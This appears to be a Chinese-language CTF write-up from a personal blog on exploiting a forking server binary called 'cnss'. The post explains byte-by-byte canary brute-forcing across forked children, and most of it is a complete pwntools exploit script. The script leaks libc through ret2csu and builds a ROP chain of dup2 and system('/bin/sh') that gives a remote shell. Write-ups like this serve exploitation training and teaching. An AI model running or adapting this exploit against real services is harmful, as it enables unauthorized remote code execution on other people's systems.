ha1vk's blog
0%

Cnss(canary爆破)

发表于 分类于

首先，我们检查一下程序的保护机制

然后，我们用IDA分析一下，发现是一个服务器程序，[每接收到连接请求后就会fork一个子进程来处理。]{.mark}

代码太长，看似很复杂

我们发现eval函数存在栈溢出，并且由于没有开启PIE，那么我们只需要泄露了canary的值就能轻松ROP了。

关键是canary泄露不了。然而，[我们可以一字节一字节的爆破它]{.mark}。我们知道，[canary的值是随机的，但是由于这是一个子进程，从父进程fork来的，因此它的数据和父进程里的一样。子进程崩溃不影响父进程，只要父进程没有重新运行，那么它的canary值就没变。每次fork的子进程里的canary值一样。因此，我们单字节单字节的爆破，当子进程崩溃，就认为不对，当子进程没有崩溃，说明当前这字节的canary数据，我们猜对了，继续爆破下一字节。]{.mark}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#开始爆破canary  
canary = '\x00'  
for i in range(1,8):  
   print '===crack last(',i+1,')byte===='  
   for x in range(0,0x100):  
      print 'trying ',hex(x)  
      stack_overflow(0x18E + i + 1,'a'*0x18E + canary + p8(x))  
      try:  
         sh.recv()  
         sh.recv()  
      except:  
         sh.close()  
         init_connection()  
         continue  
      canary += p8(x)  
      break  
canary = u64(canary)

当我们得到canary后，就是正常的栈溢出了。先是ret2csu，去执行write函数泄露libc地址，然后我们构造ROP，利用栈溢出写入即可。

综上，我们完整的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#coding:utf8  
from pwn import *  
from LibcSearcher import *  
  
elf = ELF('./cnss')  
socket_got = elf.got['socket']  
write_got = elf.got['write']  
csu_pop = 0x40481A  
csu_call = 0x404800  
eval_ret = 0x401F15  
pop_rdi = 0x404823  
#pop rsi;pop rdi;ret  
pop_rsi = 0x404821  
  
def init_connection():  
   global sh  
   #sh = remote('127.0.0.1',1337)  
   sh = remote('192.168.232.130',1337)  
   sh.send(p32(0x4D435052))  
   sh.send(p32(0) + p32(1,endian = 'big'))  
  
def stack_overflow(size,content):  
   sh.send(p32(0x4D435052))  
   sh.send(p32(0) + p32(3,endian = 'big'))  
   sh.send(p32(0)*2)  
   sh.send(p32(0x10,endian = 'big'))  
   sh.send('t'*0x10)  
   sh.send(p32(size,endian = 'big'))  
   sh.send(content)  
  
  
init_connection()  
#开始爆破canary  
canary = '\x00'  
for i in range(1,8):  
   print '===crack last(',i+1,')byte===='  
   for x in range(0,0x100):  
      print 'trying ',hex(x)  
      stack_overflow(0x18E + i + 1,'a'*0x18E + canary + p8(x))  
      try:  
         sh.recv()  
         sh.recv()  
      except:  
         sh.close()  
         init_connection()  
         continue  
      canary += p8(x)  
      break  
canary = u64(canary)  
#canary = 0x679961d7ebc53500  
#canary = 0x4202eb3d320ee000  
print 'canary=',hex(canary)  
#sh.recv()  
#泄露socket函数地址  
rop = p64(csu_pop)  
rop += p64(0) + p64(1)  
rop += p64(write_got)  
rop += p64(0x8) + p64(socket_got) + p64(4)  
rop += p64(csu_call)  
payload = 'a'*0x18E + p64(canary) + p64(0) + rop  
stack_overflow(len(payload),payload)  
socket_addr = u64(sh.recv().ljust(8,'\x00'))  
libc = LibcSearcher('socket',socket_addr)  
libc_base = socket_addr - libc.dump('socket')  
system_addr = libc_base + libc.dump('system')  
binsh_addr = libc_base + libc.dump('str_bin_sh')  
dup2_addr = libc_base + libc.dump('dup2')  
print 'libc_base=',hex(libc_base)  
print 'system_addr=',hex(system_addr)  
print 'dup2_addr=',hex(dup2_addr)  
sh.close()  
#getshell  
init_connection()  
#重定向0和1文件描述符到socket的fd  
raw_input()  
rop = p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0)*2 + p64(dup2_addr)  
rop += p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(1)*2 + p64(dup2_addr)  
rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  
payload = 'a'*0x18E + p64(canary) + p64(0) + rop  
stack_overflow(len(payload),payload)  
  
sh.interactive()